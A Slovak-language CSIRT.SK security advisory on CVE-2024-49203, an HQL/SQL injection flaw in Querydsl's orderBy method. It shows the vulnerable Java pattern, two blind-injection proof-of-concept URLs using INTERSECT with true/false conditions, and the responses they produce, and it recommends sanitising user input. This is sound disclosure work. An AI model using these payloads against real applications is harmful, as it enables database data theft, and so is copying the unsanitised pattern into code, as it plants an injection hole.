

# Zraniteľnosť knižnice Querydsl umožňujúca SQL/HQL injection

## CVE-2024-49203

**Vypracoval:** CSIRT.SK  
Ministerstvo investícií, regionálneho rozvoja a informatizácie SR  
Pribinova 25  
811 09 Bratislava

**Dátum vypracovania správy:** November 2024

TLP: Clear

**Bezpečnostní analytici CSIRT.SK objavili zraniteľnosť CVE-2024-49203 v Java knižnici Querydsl, ktorá umožňuje vykonávať útoky typu SQL/HQL injection.**

#### Zraniteľné systémy:

- querydsl-jpa – 5.1.0
- querydsl-apt – 5.1.0
- hibernate-core – 6.1.1.Final
- jakarta.persistence-api – 3.1.0
- postgresql – 42.7.4

*Na uvedených verziách bola zraniteľnosť potvrdená. Nevylučujeme však, že je prítomná aj na ďalších verziách.*

#### Opis činnosti:

##### CVE-2024-49203

Zraniteľnosť sa nachádza v najnovšej verzii knižnice *Querydsl* a súvisí s absenciou ošetrovania používateľských vstupov, ktoré preberá funkcia *orderBy(OrderSpecifier order)*. Táto metóda slúži na usporiadanie výsledkov databázových dopytov. V prípade, že sa premenná *order* generuje pomocou používateľských vstupov, je možné prostredníctvom tejto premennej vykonávať HQL dopyty.

V prípade, že sa v kóde nachádza nasledujúci úryvok:

```
OrderSpecifier order = new OrderSpecifier(Order.ASC, pathBuilder.get(orderBy));  
JPAQuery<Test> orderedQuery = query.orderBy(order);  
return orderedQuery.fetch();
```

kde hodnota premennej *orderBy* je poskytnutá používateľom, daná aplikácia je zraniteľná.

Keď používateľ navštívi stránku:

```
http://localhost:8000/products?orderBy=name+INTERSECT+SELECT+t+FROM+Test+t+WHERE+(SELECT  
T+'2')='2'+ORDER+BY+t.id HTTP/1.1
```

vie vykonať takzvanú blind SQL injection, kde svoj SQL príkaz dá na miesto *SELECT+'2'* a následne skúša akej hodnote sa rovná výsledok daného SQL príkazu nahradením '2' za všetky možné hodnoty.

V našom príklade sa vygeneruje nasledovný SQL dopyt:

```
SELECT t1 FROM Test t1 Order By t1.name INTERSECT SELECT t FROM Test t WHERE (SELECT '2')='2'  
ORDER BY t.id ASC
```

TLP: Clear

V našom príklade by útočník získal všetky hodnoty prítomné v tabuľke Test, keďže `(SELECT+'2')='2'` sa vyhodnotí ako *True* a teda sa spraví prienik všetkých prvkov v tabuľke Test t1 a Test t, ktorý je rovný všetkým prvkom v tabuľke Test.

Odpoveď by teda vyzerala nasledovne:

```
HTTP/1.1 200
```

```
Content-Type: application/json
```

```
Date: Tue, 08 Oct 2024 13:34:57 GMT
```

```
Content-Length: 27
```

```
[{"id":1,"name":"test123"}]
```

V prípade, že navštívime stránku:

```
http://localhost:8000/products?orderBy=name+INTERSECT+SELECT+t+FROM+Test+t+WHERE+(SELECT+'1')='2'+ORDER+BY+t.id HTTP/1.1
```

Kde sa podmienka vo WHERE časti vyhodnotí ako *False* dostaneme nasledovnú odpoveď:

```
HTTP/1.1 200
```

```
Content-Type: application/json
```

```
Date: Tue, 08 Oct 2024 13:36:30 GMT
```

```
Content-Length: 2
```

```
[]
```

Zraniteľnosť bola overovaná s použitím nasledujúcich verzií knižníc:

- querydsl-jpa – 5.1.0
- querydsl-apt – 5.1.0
- hibernate-core – 6.1.1.Final
- jakarta.persistence-api – 3.1.0
- postgresql – 42.7.4

O existencii zraniteľnosti sme informovali autorov knižnice 9. 10. 2024.

TLP: Clear

### Možné škody:

- Únik citlivých informácií
- Denial of service

### Odporúčania:

Pokiaľ pri vývoji webovej aplikácie v jazyku Java využívate knižnicu Querydsl a používate metódu orderBy s použitím používateľských vstupov, odporúčame dodatočne ošetriť používateľské vstupy v rámci best practice bezpečného vývoja.

TLP: Clear